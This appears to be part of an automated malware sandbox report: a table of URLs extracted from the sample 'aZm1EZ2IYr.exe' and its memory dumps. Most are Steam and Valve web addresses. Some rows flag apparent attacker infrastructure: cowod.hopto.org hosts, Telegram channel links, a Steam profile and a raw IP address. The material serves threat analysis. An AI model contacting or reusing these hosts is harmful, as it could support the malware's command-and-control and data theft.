https://community.cloudflare.steamstatic.com/public/javascript/promo/stickers.js?v=GfA42_x2_aub&	aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/webui/clientcom.js?v=jq1jQyX1843y&amp	aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpE	aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	false		unknown
http://www.valvesoftware.com/legal.htm	aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925949975.0000000003ADE000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	false	URL Reputation: safe	unknown
https://www.youtube.com	aZm1EZ2IYr.exe, 00000000.00000003.1926014370.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925541489.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://t.me/lpnjoke4/i	aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.google.com	aZm1EZ2IYr.exe, 00000000.00000003.1926014370.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925541489.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://cowod.hopto.org_DEBUG.zip/c	aZm1EZ2IYr.exe	true	URL Reputation: safe	unknown
http://cowod.hopto.orgclass=	aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp	true		unknown
http://cowod.hopto.	aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	false	URL Reputation: safe	unknown
https://t.me/lpnjokeg0b4cMozilla/5.0	aZm1EZ2IYr.exe	false		unknown
http://cowod.hopto	aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/css/app	aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp	false		unknown
https://65.109.142.154	76561199786602107[1].htm.0.dr	false		unknown
https://s.ytimg.com;	aZm1EZ2IYr.exe, 00000000.00000003.1926014370.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925541489.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://steam.tv/	aZm1EZ2IYr.exe, 00000000.00000003.1926014370.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925541489.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw&	aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/applications/community/main.js?v=4Xou	aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925949975.0000000003ADE000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/css/shared_responsive.css?v=eghn9DNyCY67&	aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	false		unknown
https://store.steampowered.com/points/shop/	aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/css/promo/summer2017/stickers.css?v=bZKSp7oNwVPK	aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&amp	aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	false		unknown
https://community.cloudflare.steamstatic.com/public/css/applications/community/main.css?v=D_iTAfDsLH	aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925949975.0000000003ADE000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	false		unknown
https://community.cloudflare.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1&	aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	false		unknown
https://sketchfab.com	aZm1EZ2IYr.exe, 00000000.00000003.1926014370.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925541489.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://lv.queniujq.cn	aZm1EZ2IYr.exe, 00000000.00000003.1926014370.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925541489.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.youtube.com/	aZm1EZ2IYr.exe, 00000000.00000003.1926014370.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925541489.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://store.steampowered.com/privacy_agreement/	aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925949975.0000000003ADE000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	false	URL Reputation: safe	unknown
https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/	aZm1EZ2IYr.exe, 00000000.00000003.1926014370.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925541489.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925949975.0000000003ADE000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/reportedcontent.js?v	aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp	false		unknown
https://community.cloudflare.stea	aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp	false		unknown
https://steamcommunity.com/profiles/76561199786602107/inventory/	aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1948655948.0000000003AD2000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003AD2000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925949975.0000000003ADE000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	false		unknown
https://www.google.com/recaptcha/	aZm1EZ2IYr.exe, 00000000.00000003.1925541489.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://checkout.steampowered.com/	aZm1EZ2IYr.exe, 00000000.00000003.1925541489.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://cowod.hoptotml	aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/applications/community/libraries~b28b	aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925949975.0000000003ADE000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png	aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925949975.0000000003ADE000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	false		unknown
https://store.steampowered.com/;	aZm1EZ2IYr.exe, 00000000.00000003.1926014370.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925541489.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/profile.js?v=KkhJqW2NGKiM&l=engli	aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	false		unknown
https://store.steampowered.com/about/	76561199786602107[1].htm.0.dr	false	URL Reputation: safe	unknown
http://cowod.hopto.orgsive/header_logo.png	aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp	true		unknown
https://community.cloudflare.steamstatic.com/	aZm1EZ2IYr.exe, 00000000.00000003.1925541489.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com/my/wishlist/	aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	false		unknown
https://t.me/	aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC&	aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	false		unknown
https://help.steampowered.com/en/	aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925949975.0000000003ADE000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	false	URL Reputation: safe	unknown
https://steamcommunity.com/market/	aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925949975.0000000003ADE000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	false		unknown
https://store.steampowered.com/news/	aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	false	URL Reputation: safe	unknown
https://steamcommunity.com/profiles/76561199786602107g0b4cMozilla/5.0	aZm1EZ2IYr.exe	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/javascript/tooltip.	aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/applications/community/manifest.js?v=	aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925949975.0000000003ADE000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	false		unknown
https://recaptcha.net/recaptcha/;	aZm1EZ2IYr.exe, 00000000.00000003.1926014370.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925541489.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/discussions/	aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925949975.0000000003ADE000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	false		unknown
http://cowod.hopto.re	aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp	false		unknown
https://store.steampowered.com/stats/	aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925949975.0000000003ADE000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/global.js?v=bOP7RorZq4_W&l=englis	aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	false		unknown
https://medal.tv	aZm1EZ2IYr.exe, 00000000.00000003.1926014370.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925541489.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://broadcast.st.dl.eccdnx.com	aZm1EZ2IYr.exe, 00000000.00000003.1926014370.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925541489.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0&amp	aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	false		unknown
https://store.steampowered.com/steam_refunds/	aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925949975.0000000003ADE000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/images/skin_1/arrowDn9x5.gif	aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925949975.0000000003ADE000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v	aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.p	aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925949975.0000000003ADE000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/css/shared_global.css?v=nBdvNPPzc0qI&	aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/javascript/auth_refresh.js?v=WgUxSlKTb3W1	aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	false		unknown
https://steamcommunity.com/workshop/	aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925949975.0000000003ADE000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	false		unknown
